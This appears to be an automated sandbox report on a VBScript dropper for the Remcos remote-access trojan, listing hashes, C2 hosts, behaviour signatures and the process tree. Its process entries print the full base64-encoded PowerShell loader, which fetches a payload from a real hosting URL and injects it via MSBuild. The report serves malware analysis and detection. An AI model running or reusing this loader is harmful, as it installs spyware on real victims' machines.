Analysis

  • max time kernel
    142s
  • max time network
    146s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-12-2024 03:35

General

  • Target

    d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e.vbs

  • Size

    150KB

  • MD5

    8c5cf018a9128cb2a9267ee3c4183a0c

  • SHA1

    c0e11113ae0360e55302ceecbc7a356ed732ca18

  • SHA256

    d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e

  • SHA512

    7a826b11dc1fb0ca727ac5044a620b3db4108994bb4cdd353abfa6abdb9e598523d560a191fb1e42473c803a628f7052914d1c9124f09bbfe5fcdbf6154e5ada

  • SSDEEP

    3072:NqHoOtSIAMD8oV8luoi9TKq/do5DvqHoOtSIAMD8oV8luoi9TKq/do50qHoOtSI2:NqpTD8LRiJKq/e57qpTD8LRiJKq/e50x

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg

exe.dropper

https://res.cloudinary.com/dytflt61n/image/upload/v1733134947/bklpyseyeut4impw50n1.jpg

Extracted

Family

remcos

Botnet

NEW

C2

rem.pushswroller.eu:23101

firewarzone.ydns.eu:23101

sun.drillmmcsnk.eu:23101

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmcghghyrtssxr-7RL1P2

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 29 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:220
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4848
      • C:\Windows\System32\cmd.exe
        "C:\Windows\System32\cmd.exe" /C copy *.vbs "C:\ProgramData\classers.vbs"
        3⤵
          PID:3060
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of SetWindowsHookEx
          PID:232
    • C:\Windows\system32\wscript.exe
      wscript.exe C:\ProgramData\classers.vbs
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4860
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled
        2⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4740
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
          3⤵
            PID:2160
          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
            "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
            3⤵
              PID:4980
        • C:\Windows\system32\wscript.exe
          wscript.exe C:\ProgramData\classers.vbs
          1⤵
            PID:4812
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $hamminesses = 'JGxpdGVyYWxpdHkgPSAnaHR0cHM6Ly9yZXMuY2xvdWRpbmFyeS5jb20vZHl0Zmx0NjFuL2ltYWdlL3VwbG9hZC92MTczMzEzNDk0Ny9ia2xweXNleWV1dDRpbXB3NTBuMS5qcGcnOyRob2VjYWtlID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDskY29nbm9tZW5zID0gJGhvZWNha2UuRG93bmxvYWREYXRhKCRsaXRlcmFsaXR5KTskY2FyYmFuaW9uID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOC5HZXRTdHJpbmcoJGNvZ25vbWVucyk7JHRlbGVwaG9uaWNhbGx5ID0gJzw8QkFTRTY0X1NUQVJUPj4nOyRleGNsdXNvcnkgPSAnPDxCQVNFNjRfRU5EPj4nOyRzY29vcCA9ICRjYXJiYW5pb24uSW5kZXhPZigkdGVsZXBob25pY2FsbHkpOyRib3dsZWdnZWQgPSAkY2FyYmFuaW9uLkluZGV4T2YoJGV4Y2x1c29yeSk7JHNjb29wIC1nZSAwIC1hbmQgJGJvd2xlZ2dlZCAtZ3QgJHNjb29wOyRzY29vcCArPSAkdGVsZXBob25pY2FsbHkuTGVuZ3RoOyRiZXdoaXNrZXJlZCA9ICRib3dsZWdnZWQgLSAkc2Nvb3A7JGZlc3Rvb25lcnkgPSAkY2FyYmFuaW9uLlN1YnN0cmluZygkc2Nvb3AsICRiZXdoaXNrZXJlZCk7JHByb3RldXNlcyA9IC1qb2luICgkZmVzdG9vbmVyeS5Ub0NoYXJBcnJheSgpIHwgRm9yRWFjaC1PYmplY3QgeyAkXyB9KVstMS4uLSgkZmVzdG9vbmVyeS5MZW5ndGgpXTskZWxlbWlzID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkcHJvdGV1c2VzKTskc3BvcmFkaWMgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKCRlbGVtaXMpOyRkdXBwaW5nID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZCgnVkFJJyk7JGR1cHBpbmcuSW52b2tlKCRudWxsLCBAKCcwL24xQ1pUL3IvZWUuZXRzYXAvLzpzcHR0aCcsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICckc2NoZWR1bGVycycsICdNU0J1aWxkJywgJyRzY2hlZHVsZXJzJywnJHNjaGVkdWxlcnMnLCckc2NoZWR1bGVycycsJ1VSTCcsICdDOlxQcm9ncmFtRGF0YVwnLCdjbGFzc2VycycsJ3ZicycsJzEnLCcxJykpOw==';$stickhandled = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($hamminesses));Invoke-Expression $stickhandled
              2⤵
              • Command and Scripting Interpreter: PowerShell
              PID:3656

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\ProgramData\classers.vbs

            Filesize

            150KB

            MD5

            8c5cf018a9128cb2a9267ee3c4183a0c

            SHA1

            c0e11113ae0360e55302ceecbc7a356ed732ca18

            SHA256

            d3307a065f67a642d7425c6b9774b6a145a786d64997b977deb151c03e0caf7e

            SHA512

            7a826b11dc1fb0ca727ac5044a620b3db4108994bb4cdd353abfa6abdb9e598523d560a191fb1e42473c803a628f7052914d1c9124f09bbfe5fcdbf6154e5ada

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            5dad0aea8a05057cdf179450a419f98e

            SHA1

            a1ea8761542fc6e7a93b5072b0882872cef74a84

            SHA256

            2db4a87a1221ad38c3fe9ba25402e893e5477d5a92c48f209a845b5a9539a863

            SHA512

            8fae4293ebdb97ef88de176c91e1789f8d708d56b471830decddd09af1543c6b52604e35c4bdb9efb1b0e6f4729a7e9fb4fd8022aef6a28210b9fae8740c6044

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            1KB

            MD5

            513af78cbafbb7bc92335a77405d5a07

            SHA1

            dea119a58287cc218b1cca3fc4eff864dc66e7b8

            SHA256

            7594911d82a2b4e4c304edb2acbdf6204c2b8c6bd932847624cfcf4168302968

            SHA512

            1f018b89cb2f5744f23bdf3abe96402727bc4b269c75989f80d77adb958d37bd829c4cff498f195b0afad77e9b29955a3af41013287c8beb9ff477b771110bf4

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bwuhe0bu.kyf.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • memory/232-29-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-27-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-56-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-55-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-54-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-19-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-20-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-53-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-24-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-48-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-28-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-49-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-30-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-32-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-33-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-35-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/232-34-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB

          • memory/4848-23-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-12-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-11-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-13-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-0-0x00007FF94C153000-0x00007FF94C155000-memory.dmp

            Filesize

            8KB

          • memory/4848-14-0x00007FF94C153000-0x00007FF94C155000-memory.dmp

            Filesize

            8KB

          • memory/4848-17-0x000001DBC1A20000-0x000001DBC1B78000-memory.dmp

            Filesize

            1.3MB

          • memory/4848-16-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-15-0x00007FF94C150000-0x00007FF94CC11000-memory.dmp

            Filesize

            10.8MB

          • memory/4848-1-0x000001DBAF3D0000-0x000001DBAF3F2000-memory.dmp

            Filesize

            136KB

          • memory/4980-52-0x0000000000400000-0x000000000047F000-memory.dmp

            Filesize

            508KB